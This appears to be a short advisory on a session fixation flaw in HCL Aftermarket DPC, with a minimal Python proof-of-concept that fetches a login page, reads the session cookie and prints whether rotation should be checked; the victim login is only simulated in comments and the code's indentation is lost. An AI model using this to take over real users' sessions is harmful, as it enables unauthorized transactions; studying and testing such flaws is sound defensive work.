HCL Aftermarket DPC is affected by Session Fixation which allows attacker to takeover the user's session and use it carry out unauthorized transaction behalf of the user.
The following code is for security research and authorized testing only.
python
# PoC Demonstration for Session Fixation
# Attacker obtains a session ID and sends it to victim
import requests
def check_session_fixation(url):
# 1. Attacker gets a session ID
s = requests.Session()
s.get(url)
fixed_sid = s.cookies.get('SESSIONID')
print(f"[+] Attacker sets Session ID: {fixed_sid}")
# 2. Victim logs in (Simulated)
# If the server does not issue a new SESSIONID after login,
# the attacker can use 'fixed_sid' to access the account.
print(f"[+] Check if server rotates Session ID after login.")
print(f"[+] If not, vulnerability confirmed.")
check_session_fixation('https://target-dpc.com/login')